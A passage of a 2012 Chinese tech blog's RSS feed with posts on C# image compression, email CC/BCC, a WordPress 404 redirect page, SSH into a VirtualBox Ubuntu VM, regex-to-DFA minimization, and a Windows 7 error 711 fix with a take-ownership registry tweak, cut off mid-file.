&lt;p&gt;　　例如：想要9*6，如果按6按错按成5了， 按C就是从头来过， 这时就要重新按9了， 但是如果你按CE的话， 就只要输入6就行了， 不必输入前面的了。&lt;/p&gt;
&lt;p&gt;　　我个人感觉M存储器就相当于一个草稿。吧计算中的一些临时值存储起来，就不用手记了。我记得我那时候有时候算值还得先把一些临时值写在纸上，后面重新输入。没文化真可怕。&lt;/p&gt;</description>
    </item>
    <item>
      <title>图片压缩工具源码（C#）</title>
      <link>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</link>
      <pubDate>Fri, 04 May 2012 08:17:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</guid>
      <description>&lt;p&gt;以前在用一个破解版的图片压缩工具。今天早上想想自己也试着做一个吧。查了一些资料。参考了一些代码。总算是写出来了。其实关键代码很简单。主要还是画界面，处理边界。。
看下效果图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21131_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/00f5221099dd3a813d09fbb95fe9a36e5268d652.jpg&#34;&gt;&lt;/a&gt;
处理图像的关键代码是这样的：&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
    bmp = new Bitmap(width, height);  //创建一张空白画布
    grap = Graphics.FromImage(bmp);  //以该画布创建一个绘图对象
 //平滑的高品质，抗锯齿
    grap.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; 
 //HighQualityBicubic 是质量最好的绘图模式
    grap.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
    grap.DrawImage(img, new Rectangle(0, 0, width, height)); //用选中的原图在画布上绘图
    bmp.Save(topath, System.Drawing.Imaging.ImageFormat.Jpeg);  //对图像压缩后保存
&lt;/pre&gt;
&lt;p&gt;另外一个就是空间的tip功能，vs2010中貌似已经不支持直接使用属性来设置tip了。所以用到了ToolTip类，使用方法如下，你也可以先导入库，然后简写，ToolTip对象可以给窗体的控件设置提示。主要是第二句话，第一个参数是控件名，第二个参数是提示文本，最好将这两句放入窗体的Load方法中&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
ToolTip toolTip = new System.Windows.Forms.ToolTip();
toolTip.SetToolTip(this.lboxPicPath, &#34;双击可删除不需要的图片&#34;);
&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21132_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/516b951c5df12c7569b3cfefd817a894d380c063.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;还有一些边界，比如只接受数字数字之类的，我在代码里给出了详细的说明。实用工具的效果自行测试。对大图片效果最好。&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=62101&amp;amp;uk=1493685990&#34;&gt;图片压缩工具源码&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>说说邮件中的抄送和密送</title>
      <link>http://blog.leaver.me/2012/05/03/%E8%AF%B4%E8%AF%B4%E9%82%AE%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8A%84%E9%80%81%E5%92%8C%E5%AF%86%E9%80%81/</link>
      <pubDate>Thu, 03 May 2012 08:29:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/03/%E8%AF%B4%E8%AF%B4%E9%82%AE%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8A%84%E9%80%81%E5%92%8C%E5%AF%86%E9%80%81/</guid>
      <description>&lt;p&gt;　　一直是分不太清楚，或者说是不知道具体的应用场合，于是，今天早上查了一下资料。总算是搞清楚了&lt;/p&gt;
&lt;p&gt;　　不论你是用什么邮箱服务提供商，可能是126.或是Gmail，或是Qmail。在发送邮件的时候会看到如下类似的选项&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21092_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1dbfa77edb4f3eb5f8bb37f4df0e7a3c76b17ae3.png&#34; title=&#34;cc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　抄送的英文缩写为CC，来源于Carbon Copy，如果一份邮件需要发送给多个人阅读，只要在“抄送”或“CC”一栏填上相关人员的信箱地址即可。如果是抄送多人，同样的直接添加到抄送栏就可以了。&lt;/p&gt;
&lt;p&gt;　　密送的英文缩写为BCC，来源于Blind Carbon Copy,由于某种原因或出于某种考虑，你不希望收信人知道你把这封邮件还发送给了另外的人，则可将这位幕后的人的信箱地址放在密送一栏。&lt;/p&gt;
&lt;p&gt;　　具体的规则是怎么呢。如果我密送给了多个人，那么多个人会互相看到彼此吗？下面我将使用一个例子来说明&lt;/p&gt;
&lt;p&gt;　　如果：A 发送邮件(To)给B1、B2，抄送(CC)给C1、C2，密送(BCC)给D1、D2。&lt;/p&gt;
&lt;p&gt;　　那么：&lt;/p&gt;
&lt;p&gt;　　A知道自己发送邮件给了B1、B2，并且抄送给了C1、C2，密送给了D1、D2。这相当于废话。。自己肯定知道自己给谁发了。　
　　B1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2、但不知道密送给了D1、D2。To的人能看到抄送，看不到密送　
　　C1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2，但不知道密送给了D1、D2。抄送的人看不到密送。　　
　　D1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2，而且密送给了自己，但不知道密送给了D2。 密送的人权限比较大，可以看到最多的情况，但依然看不到密送&lt;/p&gt;
&lt;p&gt;　　具体的用法呢，一句话就是：&lt;em&gt;&lt;strong&gt;一般抄送和密送是为了备份，知会，或者监督跟踪的作用。&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　我先举个例子。有些个朋友过节什么的喜欢群发邮件。或是一些什么网页之类的。有这个心是好的。可是。对于收到的人来说，一看到是群发的。直接可能都删掉了。所以此时可以使用密送功能。对应于上面说的最后一种情况。具体使用时在To里写上自己的地址，这样邮件会发给自己。密送栏里写上其他人的邮件，这样就同时密送给其他人，并且每个人都会只看到发给自己。起码有看下去的心情。&lt;/p&gt;
&lt;p&gt;　　邮件在工作中用的非常多，美国人总结的中国人典型特征中有一条，“即使面对面坐着，也不直接交谈而要使用邮件。”而这在很多外企之中是非常流行的文化，和总部打交道，邮件往往是最快捷和便宜的方式，&amp;quot;&lt;/p&gt;
&lt;p&gt;　　说到抄送，简直是所有邮件灾难故事最有力的协助者。同事之间常有抄送行为，有时是为了工作方便，同事A同时将一封邮件抄送给B和C，只能说明他们之间需要互相协作完成一件事情，但如果A将邮件发送给了B，却抄送给了B的老板C，那意味就深远了，通常有可能的情况是，A和B在合作的过程中发生了一些不愉快，告知老板的目的只是为了给对方一些震慑，这一招在各大公司当中都屡试不爽，而且往往成为一件悬而不决的事情得到解决的最快速手段。&lt;/p&gt;
&lt;p&gt;　　抄送更多时候只是手段，而不是最终目的。看到一个某人A与其他部门同事B合作时发生的插曲，在某次急需同事B提供某文件支持时，B不慌不忙地一直以各种借口拖延工作，A忍无可忍，发了一封紧急邮件，同时抄送了B部门的领导和自己的领导，在这样一封邮件下，B在十分钟之内就将所需文件以附件形式传了过来，并回复了原邮件中的所有人。&lt;/p&gt;
&lt;p&gt;　　如果你看了觉得真麻烦。其实。最有效的交流就是面对面，但是在职场中这是最有效地证明你自己干过什么的工具，一旦出了什么问题，最容易发现在哪个环节出现了问题，该由谁承担什么样的责任。如果遇到打官司这样的严重情况，邮件甚至能够作为呈堂证供。&lt;/p&gt;
&lt;p&gt;　　没事给朋友写写邮件，那天看到一句话：维系友情的方法之一，是冷冰冰地写邮件。频率少得可怜，常常春暖花开发的邮件，秋叶飘零时收到回复。
 &lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.eeo.com.cn/2012/0328/223658.shtml&#34;&gt;http://www.eeo.com.cn/2012/0328/223658.shtml&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://baike.soso.com/v3997479.htm&#34;&gt;http://baike.soso.com/v3997479.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://dudo.org/archives/2007123120184.html&#34;&gt;http://dudo.org/archives/2007123120184.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>wordpress 实现404个性跳转页面</title>
      <link>http://blog.leaver.me/2012/04/28/wordpress-%E5%AE%9E%E7%8E%B0404%E4%B8%AA%E6%80%A7%E8%B7%B3%E8%BD%AC%E9%A1%B5%E9%9D%A2/</link>
      <pubDate>Sat, 28 Apr 2012 09:53:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/28/wordpress-%E5%AE%9E%E7%8E%B0404%E4%B8%AA%E6%80%A7%E8%B7%B3%E8%BD%AC%E9%A1%B5%E9%9D%A2/</guid>
      <description>&lt;p&gt;这个就不多说了，直接贴代码，使用方法就是把这些代码全部拷贝进你的404.php这个文件。后台点击外观-编辑-选择404.php，开始编辑，&lt;/p&gt;
&lt;p&gt;完成后然后就可以自己测试下效果了，你也可以先访问&lt;a href=&#34;http://leaver.me/test404&#34;&gt;http://leaver.me/test404&lt;/a&gt;查看效果&lt;/p&gt;
&lt;pre lang=&#34;xml&#34; escaped=&#34;true&#34;&gt;
&amp;lt;title&amp;gt;404&amp;lt;/title&amp;gt;
&amp;lt;style type=&#34;text/css&#34;&amp;gt;
body{
    margin:0;
    padding:0;
    font:14px/1.6 Arial,Sans-serif;
    background:#fff url(img/body.png) repeat-x;
}
a:link,a:visited{
   color:#007ab7;
   text-decoration:none;
}
h1{
   position:relative;
   z-index:2;
   width:540px;
   height:0;
   margin:110px auto 15px;
   padding:230px 0 0;
   overflow:hidden;
   xxxxborder:1px solid;
   background-image: url(http://leaverimage.b0.upaiyun.com/20346_o.jpg);
   background-repeat: no-repeat;
}
h2{
   position:absolute;
   top:17px;
   left:187px;
   margin:0;
   font-size:0;
   text-indent:-999px;
   -moz-user-select:none;
   -webkit-user-select:none;
   user-select:none;
   cursor:default;
   width: 534px;
}
h2 em{
   display:block;
   font:italic bold 200px/120px &#34;Times New Roman&#34;,Times,Serif;
   text-indent:0;
   letter-spacing:-5px;
   color:rgba(216,226,244,0.3);
}
.link a{margin-right:1em;}
.link,.texts{
   width:540px;
   margin:0 auto 15px;
   color:#505050;
}
.texts{line-height:2;}
.texts dd{margin:0;padding:0 0 0 15px;}
.texts ul{margin:0;padding:0;}
.portal{
   color:#505050;
   text-align:center;
   white-space:nowrap;
   word-spacing:0.45em;
}
.portal a:link,.portal a:visited{
   color:#505050;
   word-spacing:0;
}
.portal a:hover,.portal a:active{color:#007ab7;}
.portal span{
   display:inline-block;
   height:38px;
   line-height:35px;
   background:url(img/portal.png) repeat-x;
}
.portal span span{
   padding:0 0 0 20px;
   background:url(img/portal.png) no-repeat 0 -40px;
}
.portal span span span{padding:0 20px 0 0;background-position:100% -80px;}
.STYLE1 {
   font-family: Arial, Helvetica, sans-serif;
   font-size: 65px;
}
&amp;lt;/style&amp;gt;
&amp;lt;!--[if lte IE 8]&amp;gt;
&amp;lt;style type=&#34;text/css&#34;&amp;gt;
h2 em{color:#e4ebf8;}
&amp;lt;/style&amp;gt;
&amp;lt;![endif]--&amp;gt;

&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;
var i = 5;
var intervalid;
intervalid = setInterval(&#34;fun()&#34;, 1000);
function fun() {
  if (i == 0) {
   window.location.href = &#34;&amp;lt;?php bloginfo(&#39;url&#39;); ?&amp;gt;&#34;;
   clearInterval(intervalid);
}
document.getElementById(&#34;secondsDisplay&#34;).innerHTML = i;
i--;
}
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;&amp;lt;em&amp;gt;&amp;lt;span class=&#34;STYLE1&#34;&amp;gt;404 Error&amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;/span&amp;gt;&amp;lt;/em&amp;gt;: 您所查找的页面不存在,可能已被删除或您输错了网址!&amp;lt;/h2&amp;gt;
&amp;lt;p class=&#34;link&#34;&amp;gt;
   &amp;lt;a href=&#34;http://blog.leaver.me/&#34;&amp;gt;&amp;amp;#9666;返回首页&amp;lt;/a&amp;gt;
   &amp;lt;a href=&#34;javascript:history.go(-1);&#34;&amp;gt;&amp;amp;#9666;返回上一页&amp;lt;/a&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;dl class=&#34;texts&#34;&amp;gt;
  &amp;lt;dt&amp;gt;我正在联系火星总部查找您所需要的页面.请返回等待信息..&amp;lt;/dt&amp;gt;
  &amp;lt;dd&amp;gt;
&amp;lt;ul&amp;gt;
  &amp;lt;li&amp;gt;不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;确定不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;真的真的确定不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;系统在 &amp;lt;span id=&#34;secondsDisplay&#34; style=&#34;font-size:20px;color:red;&#34;&amp;gt;5&amp;lt;/span&amp;gt; 秒钟之后带你返回地球。&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&amp;lt;/dd&amp;gt;
&amp;lt;/dl&amp;gt;
&amp;lt;/body&amp;gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Win7使用Putty连接VitualBox下的Ubuntu</title>
      <link>http://blog.leaver.me/2012/04/26/win7%E4%BD%BF%E7%94%A8putty%E8%BF%9E%E6%8E%A5vitualbox%E4%B8%8B%E7%9A%84ubuntu/</link>
      <pubDate>Thu, 26 Apr 2012 22:40:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/26/win7%E4%BD%BF%E7%94%A8putty%E8%BF%9E%E6%8E%A5vitualbox%E4%B8%8B%E7%9A%84ubuntu/</guid>
      <description>&lt;p&gt;推荐连接方式选择Host-only Adapter（主机模式）。设置方法是打开vitualbox，然后选中虚拟机，点击设置，找到网络，然后如下图选择&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20944_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6f75b3ea6509800b51958f720d2e3173390bc0a1.jpg&#34; title=&#34;桥接设置&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;设置完成后，启动ubuntu，然后执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;ifconfig -a&lt;/pre&gt;
&lt;p&gt;找到下面这行，可以看到虚拟机分配到的ip地址为192.168.56.101&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20945_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a57df08f6538afb4deebab8a4e08564bda4528e0.jpg&#34; title=&#34;IP地址&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后呢，可以在win7的cmd下 ping 192.168.56.101，看看可不可以ping通，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20948_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b38276de90d54e82042a95ae97e40e658753d1d5.jpg&#34; title=&#34;ping&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;有返回所以是通的，&lt;/p&gt;
&lt;p&gt;然后在ubuntu下需要执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo apt-get install openssh-server&lt;/pre&gt;
&lt;p&gt;Ubuntu缺省安装了openssh-client（用于ubuntu连接其他服务器）,所以在这里就不安装了，只安装server，用于其它电脑连接ubuntu，如果你的系统没有安装的话，再用apt-get安装上即可。&lt;/p&gt;
&lt;p&gt;然后确认sshserver是否启动了：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;ps -e |grep ssh&lt;/pre&gt;
&lt;p&gt;如果只有ssh-agent行那ssh-server还没有启动，需要执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;service sshd start&lt;/pre&gt;
&lt;p&gt;，启动ssh服务器
如果看到sshd那说明ssh-server已经启动了。&lt;/p&gt;
&lt;p&gt;然后下载putty，推荐去&lt;a href=&#34;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&#34;&gt;官方下载&lt;/a&gt;，下载完成后发现是单文件，直接执行即可。&lt;/p&gt;
&lt;p&gt;输入ubuntu的ip点击open即可&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20950_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9901f47b9a70d8c61d8ea28aeb41985e4b92be9d.jpg&#34; title=&#34;登录设置&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;登录上以后执行命令会发现有乱码，鼠标右键点击putty窗口的标题栏，选择，&amp;ldquo;Change Settings&amp;rdquo;，&amp;ldquo;Translation&amp;rdquo;，在&amp;quot;Received data assumed to be in which character set&amp;quot;的下拉菜单里选择&amp;quot;UTF-8&amp;quot;。如下图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20951_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d08c4a6755cd31c3dc560f681162e46c797c02d.png&#34; title=&#34;utf-8&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这样，下次又得重复同样的工作，为了保持配置，继续在上图选择左边的session&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20952_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d0111c6b9386937d97e77046d84dbd510a062982.jpg&#34; title=&#34;session&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在saved session输入个名字，save即可，下次直接连这个就可以了&lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.linuxidc.com/Linux/2011-12/49325.htm&#34;&gt;http://www.linuxidc.com/Linux/2011-12/49325.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://spark10000.blog.51cto.com/955100/547211&#34;&gt;http://spark10000.blog.51cto.com/955100/547211&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;至于putty的使用不在本文的计划范围内，以后有机会再写吧。&lt;/p&gt;
&lt;p&gt;每次遇到问题就体会到网络的信息实在太杂了。掌握搜索技术和对数据的快速筛选很重要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>正规式-&gt;最小化DFA说明</title>
      <link>http://blog.leaver.me/2012/04/25/%E6%AD%A3%E8%A7%84%E5%BC%8F-%E6%9C%80%E5%B0%8F%E5%8C%96dfa%E8%AF%B4%E6%98%8E/</link>
      <pubDate>Wed, 25 Apr 2012 17:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/25/%E6%AD%A3%E8%A7%84%E5%BC%8F-%E6%9C%80%E5%B0%8F%E5%8C%96dfa%E8%AF%B4%E6%98%8E/</guid>
      <description>&lt;p&gt;　　今天早上去图书馆，去看编译原理，想把这部分搞清楚，看着龙书+国产的某一本不知什么的习题与解析，猜过程。。猜原理。。终于是看懂了。。
整体的步骤是三步：
一，先把正规式转换为NFA（非确定有穷自动机）,
二，在把NFA通过“子集构造法”转化为DFA，
三，在把DFA通过“分割法”进行最小化。&lt;/p&gt;
&lt;p&gt;　　　**一步很简单，就是反复运用下图的规则，**图1
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20920_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6807123f3c419d9d4ae9c8bc7833f940ddd2cd83.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这样就能转换到NFA了。
给出一个例题，来自Google book。本文主要根据这个例题来讲，图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1816f6c4b5eac34b7a8ee5a44400ea8ace103722.jpg&#34;&gt;&lt;/a&gt;
　　　&lt;strong&gt;二.子集构造法。&lt;/strong&gt;
同样的例题，把转换好的NFA确定化，图3
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20921_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/29683c76cbf62ad4420a384cdb4a6902818d49db.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这个表是从NFA到DFA的时候必须要用到的。第一列第一行I的意思是从NFA的起始节点经过任意个ε所能到达的结点集合。Ia表示从该集合开始经过一个a所能到达的集合，经过一个a的意思是可以略过前后的ε。同样Ib也就是经过一个b，可以略过前后任意个ε。
至于第二行以及后面的I是怎么确定的。我参考了一些题目才明白，原来就是看上面的Ia和Ib哪个还没出现在I列，就拿下来进行运算，该列对应的Ia和Ib就是前面我说的那样推导。&lt;/p&gt;
&lt;p&gt;　　如果还不太明白，看图就是了。你会发现I中的几个项目都在Ia和Ib中出现了。而且是完全出现&lt;/p&gt;
&lt;p&gt;　　这步做完以后，为了画出最后的DFA，那么肯定得标出一些号来，比如1.2.3.。或者A。 B。c，我一般标的方法是先把I列全部标上1.2.3.递增。然后看1表示的集合和Ia和Ib中的哪个集合一样，就把那个集合也表示为1.继续向下做。最后会得到这样一个表格。图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20922_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cfd89b33da236d53885bb7ff781a33633c15e072.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　至此，就可以表示出DFA了。就对照上面那个表，从0节点开始经过a到1.经过b到2，就这样画就行了。。&lt;/p&gt;
&lt;p&gt;　　最后的DFA如下图，图5
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20925_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/26ef020ce54f209ce93f988ab6af15e1daf0f131.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　双圈的表示终态，这个是怎么来的呢。去看看图4，会发现有些项之前有双圈标志，这个是因为在NFA图2中，9为终态，所以所有包含9的集合都被认为是终态集，改成1.2.3.。。方便画节点后就需要把这些点作为终态了。。&lt;/p&gt;
&lt;p&gt;　　　&lt;strong&gt;三.最小化，分割法。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FA的最小化就是寻求最小状态DFA&lt;/p&gt;
&lt;p&gt;　　最小状态DFA的含义:
1.没有多余状态(死状态)2. 没有两个状态是互相等价（不可区别）
两个状态s和t等价的条件：
兼容性（一致性）条件——同是终态或同是非终态
传播性（蔓延性）条件——从s出发读入某个a和从t出发经过某个a并且经过某个b到达的状态等价。就是相同。&lt;/p&gt;
&lt;p&gt;　　DFA的最小化—例子，第一步都是固定的。分成终态和非终态&lt;/p&gt;
&lt;p&gt;１．将Ｍ的状态分为两个子集一个由终态k1=｛Ｃ，Ｄ，Ｅ，Ｆ｝组成，一个由非终态k2=｛Ｓ，Ａ，Ｂ｝组成，&lt;/p&gt;
&lt;p&gt;２．考察｛Ｓ，Ａ，Ｂ｝是否可分．&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20927_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4bf93ce8a42fb3161b1d288da5697a5745effc23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因为Ａ经过a到达C属于k1.而S经过a到达A属于k2.B经过a到达A属于k2，所以K2继续划分为{S，B},{A},&lt;/p&gt;
&lt;p&gt;３．考察｛Ｓ，Ｂ｝是否可再分：&lt;/p&gt;
&lt;p&gt;B经过b到达D属于k1.S经过b到达B属于k2，所以S，B可以划分。划分为{S},{B}&lt;/p&gt;
&lt;p&gt;４．考察｛Ｃ，Ｄ，Ｅ，Ｆ｝是否可再分：
因为Ｃ，Ｄ，Ｅ，Ｆ经过a和b到达的状态都属于｛Ｃ，Ｄ，Ｅ，Ｆ｝=k1所以相同，所以不可再分：&lt;/p&gt;
&lt;p&gt;５．｛Ｃ，Ｄ，Ｅ，Ｆ｝以｛Ｄ｝来代替则，因为CDEF相同，你也可以用C来代替。无所谓的最小化的ＤＦＡ如图，：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20928_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/573e265f308413f9398a0f05b240403b07cff10f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;真麻烦啊。。心里清楚，还得找些图来说明。。额。。基本上感觉自己讲清楚了。。。不清楚的地方。。请留言互相讨论。。谢谢。。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.worldcat.org/title/bian-yi-yuan-li-xue-xi-fu-dao/oclc/302301738&#34;&gt;http://www.worldcat.org/title/bian-yi-yuan-li-xue-xi-fu-dao/oclc/302301738&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://metc.gdut.edu.cn/compile/cmpl3/3-3.htm&#34;&gt;http://metc.gdut.edu.cn/compile/cmpl3/3-3.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WIN7上网提示711错误解决</title>
      <link>http://blog.leaver.me/2012/04/23/win7%E4%B8%8A%E7%BD%91%E6%8F%90%E7%A4%BA711%E9%94%99%E8%AF%AF%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Mon, 23 Apr 2012 12:27:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/23/win7%E4%B8%8A%E7%BD%91%E6%8F%90%E7%A4%BA711%E9%94%99%E8%AF%AF%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　朋友今天上网突然网络连接出现了这个问题，也就是无法加载远程访问连接服务。Google了一下，第一种方法就是查看如下的服务是否启动，如果没有，自行启动。
服务名称:eventlog 显示名称: Windows Event Log 启动类型:自动
服务名称:TapiSrv 显示名称: Telephony 启动类型:手动
服务名称:SstpSvc 显示名称: Secure Socket Tunneling Protocol Service 启动类型:手动
服务名称:Netman 显示名称: Network Connections 启动类型:手动
服务名称:nsi 显示名称: Network Store Inte***ce Service 启动类型: 自动
服务名称:RasMan 显示名称: Remote Access Connection Manager 启动类型:手动&lt;/p&gt;
&lt;p&gt;　　启动方法：对着我的电脑点右键-》管理-》服务和应用-》服务 找到对应的服务后，右键属性，启动类型就可以了
　　但是如上操作有时并不可以，会提示有些服务不能启动，这种情况下，&lt;/p&gt;
&lt;p&gt;　　用管理员账号登陆，再打开 c:\windows\system32\logfiles 如果看到 wmi文件夹，在wmi文件夹上点右键，点 获取管理员权限 ,后重启即可修复。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20868_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c81734100537494754fe25960feac29d5d469fc.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　　附上Win7下添加右键获取管理员权限的方法：&lt;/p&gt;
&lt;p&gt;在Win7下经常要用到管理员权限,为了方便可以添加一个右键菜单,方法如下:
新建一个“记事本”文件，复制以下内容：&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell\runas]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\*\shell\runas\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
[HKEY_CLASSES_ROOT\Directory\shell\runas]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; /r /d y &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F /t&#34;
